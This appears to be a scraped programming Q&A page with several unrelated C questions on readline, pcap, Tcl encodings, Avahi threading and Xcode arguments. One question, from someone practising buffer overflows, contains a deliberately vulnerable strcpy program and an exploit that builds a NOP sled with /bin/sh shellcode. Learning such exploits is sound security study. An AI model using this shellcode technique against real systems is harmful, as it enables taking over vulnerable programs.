I have stdin in a select() set and I want to take a string from stdin whenever the user types it and hits Enter.
But select is triggering stdin as ready to read before Enter is hit, and, in rare cases, before anything is typed at all. This hangs my program on getstr() until I hit Enter.
I tried setting nocbreak() and it's perfect really except that nothing gets echoed to the screen so I can't see what I'm typing. And setting echo() doesn't change that.
I also tried using timeout(0), but the results of that was even crazier and didn't work.
What you need to do is tho check if a character is available with the getch() function. If you use it in no-delay mode the method will not block. Then you need to eat up the characters until you encounter a '\n', appending each char to the resulting string as you go.
Alternatively - and the method I use - is to use the GNU readline library. It has support for non-blocking behavior, but documentation about that section is not so excellent.
Included here is a small example that you can use. It has a select loop, and uses the GNU readline library:
#include <stdio.h>
#include <readline/readline.h>
#include <readline/history.h>
#include <stdlib.h>
#include <stdbool.h>
int quit = false;
void rl_cb(char* line)
{
if (NULL==line) {
quit = true;
return;
}
if(strlen(line) > 0) add_history(line);
printf("You typed:\n%s\n", line);
free(line);
}
int main()
{
struct timeval to;
const char *prompt = "# ";
rl_callback_handler_install(prompt, (rl_vcpfunc_t*) &rl_cb);
to.tv_sec = 0;
to.tv_usec = 10000;
while(1){
if (quit) break;
select(1, NULL, NULL, NULL, &to);
rl_callback_read_char();
};
rl_callback_handler_remove();
return 0;
}
Compile with:
gcc -Wall rl.c -lreadline
Related
I am quite new to using pcap lib, so please bear with me.
I am trying to use pcap_getnonblock function, the documentation says the following:
pcap_getnonblock() returns the current 'non-blocking' state of
the capture descriptor; it always returns 0 on 'savefiles' . If
there is an error, PCAP_ERROR is returned and errbuf is filled in
with an appropriate error message.
errbuf is assumed to be able to hold at least PCAP_ERRBUF_SIZE
chars.
I got -3 returned and the errbuf is an empty string, I couldn't understand the meaning of such result.
I believe this caused a socket error: 10065.
This problem happened only once and I could not reproduce it, but still it would be great to find its causing to prevent it in future executions.
Thanks in advance.
pcap_getnonblock() can return -3 - that's PCAP_ERROR_NOT_ACTIVATED. Unfortunately, that's not documented; I'll fix that.
Here's a minimal reproducible example that demonstrates this:
#include <pcap/pcap.h>
#include <stdio.h>
int
main(int argc, char **argv)
{
pcap_t *pcap;
char errbuf[PCAP_ERRBUF_SIZE];
if (argc != 2) {
fprintf(stderr, "Usage: this_program <interface_name>\n");
return 1;
}
pcap = pcap_create(argv[1], errbuf);
if (pcap == NULL) {
fprintf(stderr, "this_program: pcap_create(%s) failed: %s\n",
argv[1], errbuf);
return 2;
}
printf("pcap_getnonblock() returns %d on non-activated pcap_t\n",
pcap_getnonblock(pcap, errbuf));
return 0;
}
(yes, that's minimal, as 1) names of interfaces are OS-dependent, so it has to be a command-line argument and 2) if you don't run the program correctly, it should let you know what's happening, so you know what you have to do in order to reproduce the problem).
Perhaps pcap_getnonblock() and pcap_setnonblock() should be changed so that you can set non-blocking mode before activating the pcap_t, so that, when activated, it will be in non-blocking mode. It doesn't work that way currently, however.
I.e., you're allocating a pcap_t with pcap_create(), but you're not activating it with pcap_activate(). You need to do both in order to have a pcap_t on which you can capture.
Is there any initial setup needed to make Tcl_WriteChars output UTF-8 characters correctly? e.g.
#include <tcl.h>
int main()
{
Tcl_Interp *tcl = Tcl_CreateInterp();
Tcl_Channel channel = Tcl_GetStdChannel(TCL_STDOUT);
Tcl_WriteChars(channel, "hello\n", -1);
Tcl_WriteChars(channel, "你好\n", -1);
Tcl_WriteRaw(channel, "你好\n", -1);
Tcl_Close(tcl, channel);
Tcl_DeleteInterp(tcl);
return 0;
}
Source code is saved in UTF-8 encoding, and following output is from UTF-8 locale Linux:
hello
??
你好
You need to configure the encoding to be UTF-8 (and the host you're running on appears to be using something else for its default). Do this before you write to the channel.
Tcl_SetChannelOption(interp, channel, "-encoding", "utf-8");
Properly, you should check for the return code of that (as below) but all channels have that option and the utf-8 encoding is baked directly into Tcl, so it won't fail.
if (Tcl_SetChannelOption(interp, channel, "-encoding", "utf-8") != TCL_OK) {
return TCL_ERROR;
}
[EDIT]: Having re-read the code a little more carefully (and found out that the system's default encoding is really UTF-8 in the first place), the actual problem is that you're not calling Tcl_FindExecutable(). That routine is a bit mis-named, as what it actually does (apart from making info nameofexecutable work inside scripts) is let Tcl initialise its internal library. In particular, it initialises the encoding management subsystem, and that's the point where it works out what the system encoding really is (otherwise it falls back to iso8859-1, which is the least problematic ordinary encoding to recover from).
Your code should read:
#include <tcl.h>
int main(int argc, char *argv[]) /// <<<< CHANGED HERE
{
Tcl_FindExecutable(argv[0]); /// <<<< CHANGED HERE
Tcl_Interp *tcl = Tcl_CreateInterp();
Tcl_Channel channel = Tcl_GetStdChannel(TCL_STDOUT);
Tcl_WriteChars(channel, "hello\n", -1);
Tcl_WriteChars(channel, "你好\n", -1);
Tcl_WriteRaw(channel, "你好\n", -1);
Tcl_Close(tcl, channel);
Tcl_DeleteInterp(tcl);
return 0;
}
I'm assuming you're using a compiler that is happy with putting declarations after statements. That's a widely-implemented C99 feature (and is also in C++) so I expect it will be fine.
I'm attempting to port my zeronconf-enabled C/C++ app to Linux, however I'm getting D-BUS related segfaults. I'm not sure if this is a bug in Avahi, my misuse of Avahi, or a bug in my code.
I am using a ZeroconfResolver object that encapsulates an AvahiClient,
AvahiSimplePoll, and AvahiServiceResolver. The ZeroconfResolver has a
Resolve function that first instantiates the AvahiSimplePoll, then
AvahiClient, and finally the AvahiServiceResolver. At each
instantiation I am checking for errors before continuing to the next.
After the AvahiServiceResolver has been successfully created it calls
avahi_simple_poll_loop with the AvahiSimplePoll.
This whole process works great when done synchronously but fails with
segfaults when multiple ZeroconfResolvers are being used at the same
time asynchronously (i.e I have multiple threads creating their own
ZeroconfResolver objects). A trivial adaptation of the object that
reproduces the segfaults can be seen in the code below (may not produce a
segfault right away, but in my use case it happens frequently).
I understand that "out of the box" Avahi is not thread safe, but
according to my interpretation of [1] it is safe to have multiple
AvahiClient/AvahiPoll objects in the same process as long as they are
not 'accessed' from more than one thread. Each ZeroconfResolver has
its own set of Avahi objects that do not interact with each other
across thread boundaries.
The segfaults occur in seemingly random functions within the Avahi
library. In general they happen within the avahi_client_new or
avahi_service_resolver_new functions referencing dbus. Does the Avahi wiki
mean to imply that the 'creation' of AvahiClient/AvahiPoll objects is
also not thread safe?
[1] http://avahi.org/wiki/RunningAvahiClientAsThread
#include <dispatch/dispatch.h>
#include <cstdio>
#include <sys/types.h>
#include <netinet/in.h>
#include <avahi-client/lookup.h>
#include <avahi-client/client.h>
#include <avahi-client/publish.h>
#include <avahi-common/alternative.h>
#include <avahi-common/simple-watch.h>
#include <avahi-common/malloc.h>
#include <avahi-common/error.h>
#include <avahi-common/timeval.h>
void resolve_reply(
AvahiServiceResolver *r,
AVAHI_GCC_UNUSED AvahiIfIndex interface,
AVAHI_GCC_UNUSED AvahiProtocol protocol,
AvahiResolverEvent event,
const char *name,
const char *type,
const char *domain,
const char *host_name,
const AvahiAddress *address,
uint16_t port,
AvahiStringList *txt,
AvahiLookupResultFlags flags,
void * context) {
assert(r);
if (event == AVAHI_RESOLVER_FOUND)
printf("resolve_reply(%s, %s, %s, %s)[FOUND]\n", name, type, domain, host_name);
avahi_service_resolver_free(r);
avahi_simple_poll_quit((AvahiSimplePoll*)context);
}
int main() {
// Run until segfault
while (true) {
// Adding block to conccurent GCD queue (managed thread pool)
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), [=]{
char name[] = "SomeHTTPServerToResolve";
char domain[] = "local.";
char type[] = "_http._tcp.";
AvahiSimplePoll * simple_poll = NULL;
if ((simple_poll = avahi_simple_poll_new())) {
int error;
AvahiClient * client = NULL;
if ((client = avahi_client_new(avahi_simple_poll_get(simple_poll), AVAHI_CLIENT_NO_FAIL, NULL, NULL, &error))) {
AvahiServiceResolver * resolver = NULL;
if ((resolver = avahi_service_resolver_new(client, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, name, type, domain, AVAHI_PROTO_UNSPEC, AVAHI_LOOKUP_NO_ADDRESS, (AvahiServiceResolverCallback)resolve_reply, simple_poll))) {
avahi_simple_poll_loop(simple_poll);
printf("Exit Loop(%p)\n", simple_poll);
} else {
printf("Resolve(%s, %s, %s)[%s]\n", name, type, domain, avahi_strerror(avahi_client_errno(client)));
}
avahi_client_free(client);
} else {
printf("avahi_client_new()[%s]\n", avahi_strerror(error));
}
avahi_simple_poll_free(simple_poll);
} else {
printf("avahi_simple_poll_new()[Failed]\n");
}
});
}
// Never reached
return 0;
}
One solution that seems to work fine is to add your own synchronization (a common mutex) around avahi_client_new, avahi_service_resolver_new and the corresponding free operations. It seems avahi does not claim those operation to be internally synchronized.
What is claimed is that independent objects do not interfere.
I had success with this approach, using a helper class with a static mutex. To be specific, a static member function (or free function) like this:
std::mutex& avahi_mutex(){
static std::mutex mtx;
return mtx;
}
and a lock around any section of code (as small as possible) doing free or new:
{
std::unique_lock<std::mutex> alock(avahi_mutex());
simple_poll = avahi_simple_poll_new()
}
I've been practicing some basic stack-based buffer overflow task recently
and I wrote an vulnerable program like this:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc<2) {
puts("Need enough args!!");
exit(0);
}
char buf[400];
strcpy(buf,argv[1]);
printf("Hi, %s\n",buf);
return 0;
}
and the exploit program like this:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char *atk,vul[]="./vul1 ";
atk=(char*)malloc(sizeof(char)*ATK_L);
unsigned long i,ret,*ptr,ptr2;
ret=(unsigned long)atk;
ptr=(unsigned long*)atk;
for(i=0;i<ATK_L;i+=4){
*(ptr++)=ret;
}
for(i=0;i<NOP_L;i++){
atk[i]='\x90';
}
ptr2=0;
for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
atk[i]=shellcode[ptr2++];
}
atk[ATK_L-1]='\0';
strcat(vul,atk);
system(vul);
free(atk);
return 0;
}
Since I don't want to determine the offset , I just jump back to the beginning of the atk array . I turn off the ASLR & put the -fno-stack-protector flag when compiling , but when I run the exploit program it just say core dump and do nothing!! I use gdb to debug the exploit program and it said that it was killed in the getenv function and I just cant get understand.
I work on ubuntu 11.10 32bits
Thanks a lot :-)
I'm trying to pass arguments in XCode and understand you need to add them from the Args tab, using the Get Info button, in the Executables of the Groups and Files pane. I'm trying to see if I can get it to work, but am having some difficulty. My program is simply:
#include <iostream>
#include <ostream>
using namespace std;
int main(int argc, char *argv[]) {
for (int i = 0; i < argc; i++) {
cout << argv[i];
}
return 0;
}
And in the Args tab, I have the number 2 and then in another line the number 1. I do not get any output when I run the program. What am I doing wrong? Thanks!
Your code works fine and it displays the arguments.
You may want to print a new line after each argument to make the output more readable:
cout << argv[i] << "\n";
Output is visible in the console (use Command+Shift+R to bring up the console).